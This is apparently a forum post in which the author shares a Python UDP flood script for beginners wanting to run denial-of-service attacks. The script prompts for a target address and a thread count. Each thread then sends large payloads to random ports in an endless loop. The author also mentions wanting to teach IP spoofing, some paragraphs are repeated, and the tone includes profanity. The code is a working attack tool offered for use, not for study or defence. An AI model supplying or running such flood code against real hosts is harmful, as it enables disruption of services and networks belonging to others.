Holla, so when I was a complete script kiddie and I was trying to make a dos script I was never able to find anything but complete crap, so for all you youngsters like I used to be here's some code to get yeah started :D
P.S. I would teach you how to use Raw sockets to spoof you Ip address but people won't reply to me and I can't find any documentation :/
I know about Scapy so for you all who say "Just use Scapy!", fuck yourself 😑
You'll have to experiment with how many threads you computer
can handle.
Also feel free to call me a dumb-ass and not improve the code but hate on it! 👍
P.S. I would teach you how to use Raw sockets to spoof you Ip address but people won't reply to me and I can't find any documentation :/
I know about Scapy so for you all who say "Just use Scapy!", fuck yourself 😑
Code
import threading
import time
import socket
import random
Host = input("Address:")
Threads = int(input("Threads:"))
print("\nUsing Randomized Ports")
def Dos():
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
Data = (r"Anything you want here, Longer the text the better but you can only send so much without fragmenting" * 800)
while True:
Port = random.randrange(65535)
sock.sendto(bytes(Data, "utf-8"), (Host, Port))
def main():
thread1 = threading.Thread( target=Dos )
thread1.start()
for anything in range(0, Threads):
main()You'll have to experiment with how many threads you computer
can handle.
Also feel free to call me a dumb-ass and not improve the code but hate on it! 👍

